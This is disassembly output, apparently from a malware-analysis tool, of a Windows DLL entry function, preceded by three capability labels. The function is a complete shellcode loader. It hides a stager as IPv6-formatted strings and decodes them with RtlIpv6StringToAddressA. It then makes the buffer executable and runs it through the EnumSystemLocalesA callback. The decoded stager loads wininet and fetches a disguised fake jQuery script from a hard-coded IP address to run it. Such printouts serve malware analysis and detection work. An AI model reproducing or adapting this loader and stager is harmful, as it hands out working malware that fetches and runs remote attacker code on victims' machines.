Function at 0x180001000
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function
Terminate process

Disassembly:
mov r11, rsp
push rbp
lea rbp, [r11 - 0x108]
sub rsp, 0x200
mov rax, qword [0x180005008]
xor rax, rsp
mov qword [rbp + 0xf0], rax
cmp edx, 1
jne 0x18000137e
lea rax, str.fc48:83e4:f0e8:c800:0:4151:4150:5251
mov qword [r11 + 8], rbx
mov qword [rsp + 0x30], rax
lea rax, str.5648:31d2:6548:8b52:6048:8b52:1848:8b52
mov qword [rsp + 0x38], rax
lea rax, str.2048:8b72:5048:fb7:4a4a:4d31:c948:31c0
mov qword [rsp + 0x40], rax
lea rax, str.ac3c:617c:22c:2041:c1c9:d41:1c1:e2ed
mov qword [rsp + 0x48], rax
lea rax, str.5241:5148:8b52:208b:423c:4801:d066:8178
mov qword [rsp + 0x50], rax
lea rax, str.180b:275:728b:8088:0:48:85c0:7467
mov qword [rsp + 0x58], rax
lea rax, str.4801:d050:8b48:1844:8b40:2049:1d0:e356
mov qword [rsp + 0x60], rax
lea rax, str.48ff:c941:8b34:8848:1d6:4d31:c948:31c0
mov qword [rsp + 0x68], rax
lea rax, str.ac41:c1c9:d41:1c1:38e0:75f1:4c03:4c24
mov qword [rsp + 0x70], rax
lea rax, str.845:39d1:75d8:5844:8b40:2449:1d0:6641
mov qword [rsp + 0x78], rax
lea rax, str.8b0c:4844:8b40:1c49:1d0:418b:488:4801
mov qword [rbp - 0x80], rax
lea rax, str.d041:5841:585e:595a:4158:4159:415a:4883
mov qword [rbp - 0x78], rax
lea rax, str.ec20:4152:ffe0:5841:595a:488b:12e9:4fff
mov qword [rbp - 0x70], rax
lea rax, str.ffff:5d6a:49:be77:696e:696e:6574:41
mov qword [rbp - 0x68], rax
lea rax, str.5649:89e6:4c89:f141:ba4c:7726:7ff:d548
mov qword [rbp - 0x60], rax
lea rax, str.31c9:4831:d24d:31c0:4d31:c941:5041:5041
mov qword [rbp - 0x58], rax
lea rax, str.ba3a:5679:a7ff:d5eb:735a:4889:c141:b8b5
mov qword [rbp - 0x50], rax
lea rax, str.2600:4d:31c9:4151:4151:6a03:4151:41ba
mov qword [rbp - 0x48], rax
lea rax, str.5789:9fc6:ffd5:eb59:5b48:89c1:4831:d249
mov qword [rbp - 0x40], rax
lea rax, str.89d8:4d31:c952:6800:240:8452:5241:baeb
mov qword [rbp - 0x38], rax
lea rax, str.552e:3bff:d548:89c6:4883:c350:6a0a:5f48
mov qword [rbp - 0x30], rax
lea rax, str.89f1:4889:da49:c7c0:ffff:ffff:4d31:c952
mov qword [rbp - 0x28], rax
lea rax, str.5241:ba2d:618:7bff:d585:c00f:859d:100
mov qword [rbp - 0x20], rax
lea rax, str.48:ffcf:f84:8c01:0:ebd3:e9e4:100
mov qword [rbp - 0x18], rax
lea rax, str.e8:a2ff:ffff:2f6a:7175:6572:792d:332e
mov qword [rbp - 0x10], rax
lea rax, str.332e:322e:736c:696d:2e6d:696e:2e6a:7300
mov qword [rbp - 8], rax
lea rax, str.f77d:1627:2cf0:1456:a20d:f852:3b9e:eb2f
mov qword [rbp], rax
lea rax, str.cbf2:c5a5:4e26:e2df:679c:73c9:dbf1:a99b
mov qword [rbp + 8], rax
lea rax, str.a89f:9050:e526:4d3e:8b38:2415:a872:d3fe
mov qword [rbp + 0x10], rax
lea rax, str.3fe7:5dd0:ba00:4163:6365:7074:3a20:7465
mov qword [rbp + 0x18], rax
lea rax, str.7874:2f68:746d:6c2c:6170:706c:6963:6174
mov qword [rbp + 0x20], rax
lea rax, str.696f:6e2f:7868:746d:6c2b:786d:6c2c:6170
mov qword [rbp + 0x28], rax
lea rax, str.706c:6963:6174:696f:6e2f:786d:6c3b:713d
mov qword [rbp + 0x30], rax
lea rax, str.302e:392c:2a2f:2a3b:713d:302e:380d:a41
mov qword [rbp + 0x38], rax
lea rax, str.6363:6570:742d:4c61:6e67:7561:6765:3a20
mov qword [rbp + 0x40], rax
lea rax, str.656e:2d55:532c:656e:3b71:3d30:2e35:d0a
mov qword [rbp + 0x48], rax
lea rax, str.5265:6665:7265:723a:2068:7474:703a:2f2f
mov qword [rbp + 0x50], rax
lea rax, str.636f:6465:2e6a:7175:6572:792e:636f:6d2f
mov qword [r11 + 0x10], rsi
mov qword [rbp + 0x58], rax
lea rax, str.d0a:4163:6365:7074:2d45:6e63:6f64:696e
mov qword [r11 + 0x18], rdi
mov qword [r11 + 0x20], r14
mov qword [rbp + 0x60], rax
mov ecx, 0x38
lea rax, str.673a:2067:7a69:702c:2064:6566:6c61:7465
mov qword [rbp + 0x68], rax
lea rax, str.d0a:5573:6572:2d41:6765:6e74:3a20:4d6f
mov qword [rbp + 0x70], rax
lea rax, str.7a69:6c6c:612f:352e:3020:2857:696e:646f
mov qword [rbp + 0x78], rax
lea rax, str.7773:204e:5420:362e:333b:2054:7269:6465
mov qword [rbp + 0x80], rax
lea rax, str.6e74:2f37:2e30:3b20:7276:3a31:312e:3029
mov qword [rbp + 0x88], rax
lea rax, str.206c:696b:6520:4765:636b:6f0d:a00:f852
mov qword [rbp + 0x90], rax
lea rax, str.6bda:b8f8:cedd:cf89:6bd3:787e:9873:9cb3
mov qword [rbp + 0x98], rax
lea rax, str.b9e2:83ca:b6bd:a4ad:a940:c709:7e92:a98d
mov qword [rbp + 0xa0], rax
lea rax, str.a4c9:39da:a643:2550:d98e:ccd9:e9e3:5143
mov qword [rbp + 0xa8], rax
lea rax, str.853f:4285:9000:41be:f0b5:a256:ffd5:4831
mov qword [rbp + 0xb0], rax
lea rax, str.c9ba:0:4000:41b8:10:0:41b9:4000
mov qword [rbp + 0xb8], rax
lea rax, str.0:41ba:58a4:53e5:ffd5:4893:5353:4889
mov qword [rbp + 0xc0], rax
lea rax, str.e748:89f1:4889:da41:b800:2000:49:89f9
mov qword [rbp + 0xc8], rax
lea rax, str.41ba:1296:89e2:ffd5:4883:c420:85c0:74b6
mov qword [rbp + 0xd0], rax
lea rax, str.668b:748:1c3:85c0:75d7:5858:5848:5af
mov qword [rbp + 0xd8], rax
lea rax, str.f00:50:c3e8:9ffd:ffff:3132:342e:3232
mov qword [rbp + 0xe0], rax
lea rax, str.312e:3231:372e:3238:5:f5e1::
mov qword [rbp + 0xe8], rax
mov eax, 0x10
mul ecx
mov ecx, eax
mov rax, 0xffffffffffffffff
cmovo rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
xor edi, edi
mov r14, rax
mov ebx, edi
mov rsi, rax
mov ecx, edi
lea rdx, [rsp + 0x30]
mov r8, rsi
lea rdx, [rdx + rcx*8]
mov rcx, qword [rsp + rbx*8 + 0x30]
call qword [sym.imp.ntdll.dll_RtlIpv6StringToAddressA]
add rsi, 0x10
inc edi
inc rbx
cmp rbx, 0x38
jl 0x180001301
mov rdi, qword [rsp + 0x220]
lea r9, [rsp + 0x20]
mov rsi, qword [rsp + 0x218]
mov edx, 0x380
mov rbx, qword [rsp + 0x210]
mov r8d, 0x40
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_EnumSystemLocalesA]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov r14, qword [rsp + 0x228]
mov eax, 1
mov rcx, qword [rbp + 0xf0]
xor rcx, rsp
call fcn.1800013b0
add rsp, 0x200
pop rbp
ret